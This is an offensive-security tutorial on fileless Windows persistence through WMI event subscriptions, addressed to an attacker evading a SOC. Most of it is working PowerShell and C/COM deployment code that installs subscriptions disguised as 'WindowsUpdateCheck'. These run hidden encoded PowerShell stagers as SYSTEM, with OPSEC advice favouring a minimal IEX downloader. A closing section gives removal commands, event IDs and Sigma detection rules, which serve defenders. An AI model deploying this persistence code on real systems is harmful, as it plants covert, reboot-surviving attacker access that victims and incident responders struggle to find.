Persistence: WMI Event Subscriptions
Fileless persistence via WMI permanent event subscriptions: __EventFilter, __EventConsumer, __FilterToConsumerBinding — deploying ActiveScriptEventConsumer and CommandLineEventConsumer, embedding encoded payloads, and how WMI subscriptions survive reimaging if the repository persists
The SOC ran Autoruns after finding your Run key and cleaned every scheduled task, registry value, and service. Your beacon went dark. But you had a backup: a WMI event subscription created three days earlier. Nothing in Autoruns shows it — most analysts don't check the WMI repository. The subscription fires whenever Win32_LocalTime.Hour=8 (8 AM daily). At 8 AM the next morning, your beacon comes back. The persistence mechanism lived entirely in the WMI repository (C:\Windows\System32\wbem\Repository\) — no file on disk, no registry Run key, no scheduled task XML.
WMI Subscription Model
The Three Classes in Detail
-- WMI WQL queries for common trigger conditions
-- 1. Time-based: fires every morning at 8:00 AM
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 8
AND TargetInstance.Minute = 0
-- 2. Process creation: fires when powershell.exe starts
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'powershell.exe'
-- 3. System uptime: fires 60 seconds after boot
SELECT * FROM __InstanceModificationEvent WITHIN 10
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 60
AND PreviousInstance.SystemUpTime < 60
-- 4. User logon (via logon session creation event)
SELECT * FROM __InstanceCreationEvent WITHIN 10
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2
-- Consumer types:
-- CommandLineEventConsumer: execute a command
-- Properties: ExecutablePath, CommandLineTemplate
-- ActiveScriptEventConsumer: execute VBScript/JScript
-- Properties: ScriptingEngine ("VBScript"), ScriptText (inline code)
-- Script can be fileless: entire payload as inline VBScript string
PowerShell Deployment
# Create WMI event subscription for persistence
# Runs as SYSTEM, fires every morning at 8 AM
$FilterName = "WindowsUpdateCheck"
$ConsumerName = "WindowsUpdateConsumer"
$Payload = 'powershell -NoP -NonI -W Hidden -Enc <BASE64_STAGER>'
# Step 1: Create __EventFilter (the trigger)
$WQL = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8 AND TargetInstance.Minute = 0"
$Filter = Set-WmiInstance -Namespace "root\subscription" `
-Class "__EventFilter" `
-Arguments @{
Name = $FilterName
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = $WQL
}
# Step 2: Create CommandLineEventConsumer (the action)
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
-Class "CommandLineEventConsumer" `
-Arguments @{
Name = $ConsumerName
ExecutablePath = "C:\Windows\System32\cmd.exe"
CommandLineTemplate = "/c $Payload"
WorkingDirectory = "C:\Windows\System32"
RunInteractively = $false
}
# Step 3: Bind filter to consumer
$Binding = Set-WmiInstance -Namespace "root\subscription" `
-Class "__FilterToConsumerBinding" `
-Arguments @{
Filter = $Filter
Consumer = $Consumer
}
Write-Host "[+] WMI persistence installed"
Write-Host "[+] Fires daily at 08:00 as SYSTEM via WmiPrvSE.exe"
# Verify installation
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter | Select Name
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer | Select Name
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
C/COM Deployment
// Deploy WMI subscription via COM (IWbemServices) — no PowerShell artifacts
BOOL DeployWMIPersistence(const wchar_t* filterName, const wchar_t* consumerName,
const wchar_t* commandLine) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
IWbemLocator* pLoc = NULL;
CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
IWbemServices* pSvc = NULL;
pLoc->ConnectServer(_bstr_t(L"ROOT\\subscription"),
NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
pLoc->Release();
CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE);
// Create __EventFilter instance
IWbemClassObject* pFilterClass = NULL;
pSvc->GetObject(_bstr_t(L"__EventFilter"), 0, NULL, &pFilterClass, NULL);
IWbemClassObject* pFilter = NULL;
pFilterClass->SpawnInstance(0, &pFilter);
pFilterClass->Release();
VARIANT v; VariantInit(&v);
v.vt = VT_BSTR;
v.bstrVal = _bstr_t(filterName).Detach();
pFilter->Put(L"Name", 0, &v, 0); VariantClear(&v);
v.vt = VT_BSTR; v.bstrVal = _bstr_t(L"WQL").Detach();
pFilter->Put(L"QueryLanguage", 0, &v, 0); VariantClear(&v);
v.vt = VT_BSTR; v.bstrVal = _bstr_t(L"root\\cimv2").Detach();
pFilter->Put(L"EventNameSpace", 0, &v, 0); VariantClear(&v);
v.vt = VT_BSTR;
v.bstrVal = _bstr_t(L"SELECT * FROM __InstanceModificationEvent WITHIN 60 "
L"WHERE TargetInstance ISA 'Win32_LocalTime' "
L"AND TargetInstance.Hour = 8").Detach();
pFilter->Put(L"Query", 0, &v, 0); VariantClear(&v);
IWbemCallResult* pResult = NULL;
pSvc->PutInstance(pFilter, WBEM_FLAG_CREATE_OR_UPDATE, NULL, &pResult);
pFilter->Release();
if (pResult) pResult->Release();
// Similar pattern for CommandLineEventConsumer + FilterToConsumerBinding
// (abbreviated — identical approach with class name substitution)
pSvc->Release();
CoUninitialize();
return TRUE;
}
Fileless WMI Persistence via ActiveScriptEventConsumer
# ActiveScriptEventConsumer: entire payload as VBScript — no binary on disk
# The VBScript runs as SYSTEM under WmiPrvSE.exe
$VBScript = @'
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -NoP -NonI -W Hidden -Enc BASE64PAYLOAD", 0, False
Set objShell = Nothing
'@
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
-Class "ActiveScriptEventConsumer" `
-Arguments @{
Name = "WinUpdateScript"
ScriptingEngine = "VBScript"
ScriptText = $VBScript # inline — no file needed
KillTimeout = 0
}
# OPSEC notes:
# ActiveScriptEventConsumer is heavily monitored — triggers MDI alert
# CommandLineEventConsumer is slightly less monitored but still in detections
# Best OPSEC: use a short VBScript that only calls CreateObject("WScript.Shell").Run
# with a minimal PowerShell IEX downloader — minimize inline payload size
# Fileless beacon location: base64 PS in the WMI subscription's ScriptText field
# No binary anywhere — only artifact is in WMI repository OBJECTS.DATA
Trigger Comparison
| Trigger WQL | When Fires | OPSEC Notes |
|---|---|---|
| Win32_LocalTime (Hour=8) | Daily at 8 AM | Low frequency; random minutes reduces predictability |
| Win32_Process creation (powershell.exe) | Every PowerShell spawn | May fire many times/day; beacon runs multiple instances |
| Win32_LogonSession (Type=2) | Interactive logon | Good for user-context operations; fires at predictable times |
| Win32_PerfFormattedData_PerfOS_System (uptime >= 60s) | 60 seconds after boot | Reliable boot persistence; fires once per boot |
| __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_NTEventlogFile' | Security log modification | Fires on every security log write — excessive frequency |
Enumerating and Removing WMI Subscriptions
# Enumerate all WMI subscriptions (forensic / detection)
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter | Select-Object Name, Query
Get-WMIObject -Namespace "root\subscription" -Class __EventConsumer | Select-Object Name, ScriptText, CommandLineTemplate
Get-WMIObject -Namespace "root\subscription" -Class __FilterToConsumerBinding | Select-Object Filter, Consumer
# WMIExplorer (GUI tool): browse entire WMI repository including root\subscription
# Autoruns (updated versions): Check tab "WMI" — shows all subscriptions
# Remove specific subscription (incident response)
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter -Filter "Name='WindowsUpdateCheck'" |
Remove-WmiObject
Get-WMIObject -Namespace "root\subscription" -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" |
Remove-WmiObject
Get-WMIObject -Namespace "root\subscription" -Class __FilterToConsumerBinding |
Where-Object { $_.Filter -like "*WindowsUpdateCheck*" } | Remove-WmiObject
# Nuclear option: rebuild WMI repository (also kills legitimate WMI subscriptions)
winmgmt /verifyrepository
winmgmt /resetrepository # Use cautiously — breaks SCCM, monitoring agents, etc.
Detection Engineering
-- WMI subscription detection signals
-- Event IDs (Microsoft-Windows-WMI-Activity/Operational log):
-- 5861: New __EventFilter subscription created
-- 5860: New __EventConsumer subscription created
-- 5858: Error in WMI subscription execution
-- Windows Event 19: WMIEventConsumerToFilter binding created (Sysmon)
-- Windows Event 20: WMIEventConsumer created (Sysmon)
-- Windows Event 21: WMIEventFilter binding created (Sysmon)
-- Sigma: WMI subscription for persistence
title: WMI Event Subscription Created
logsource:
product: windows
service: wmi
detection:
subscription:
EventID: 5861
Namespace|contains: 'root/subscription'
filter_legit:
Consumer|contains:
- 'SCM Event Log Consumer' # SCCM
- 'NTEventLogEventConsumer'
condition: subscription AND NOT filter_legit
level: high
-- Sigma: WMI-spawned process (consumer execution)
title: WMI Event Consumer Command Execution
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\WmiPrvSE.exe'
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
condition: selection
level: high
-- Hunt query: all CommandLineEventConsumer templates in fleet
-- (lateral deployment: attacker may push same subscription to multiple hosts)
Get-WmiObject -ComputerName (Get-ADComputer -Filter *).DNSHostName `
-Namespace "root\subscription" -Class CommandLineEventConsumer |
Select PSComputerName, Name, CommandLineTemplate |
Where-Object { $_.CommandLineTemplate -notmatch "^$" }
Q&A
Why do WMI subscriptions persist through reboots but not always through OS reinstalls?
WMI subscriptions are stored in the WMI repository, a binary database located at C:\Windows\System32\wbem\Repository\. The primary file is OBJECTS.DATA. This file is part of the Windows installation and persists across reboots because it's just a data file on the NTFS filesystem, not a volatile memory structure. It survives: power cycles, blue screens, service restarts, and even many system maintenance operations. It does not survive: a fresh OS installation that formats and overwrites the system partition, or deliberate WMI repository reconstruction via winmgmt /resetrepository. In practice, enterprise incident responders sometimes miss WMI subscriptions because they're focused on scheduled tasks, run keys, and services — the more familiar persistence locations. Autoruns (updated after ~2014) does enumerate root\subscription, but earlier incident response procedures may not include the WMI tab. The repository file is also opaque binary — you can't open it in a text editor — requiring either PowerShell WMI queries or specialized tools (WMI Explorer, Autoruns) to enumerate its contents. The combination of surviving reboots, living in an opaque binary blob, and running in a context (WmiPrvSE.exe as SYSTEM) that doesn't immediately look suspicious makes WMI one of the hardest persistence mechanisms to find manually.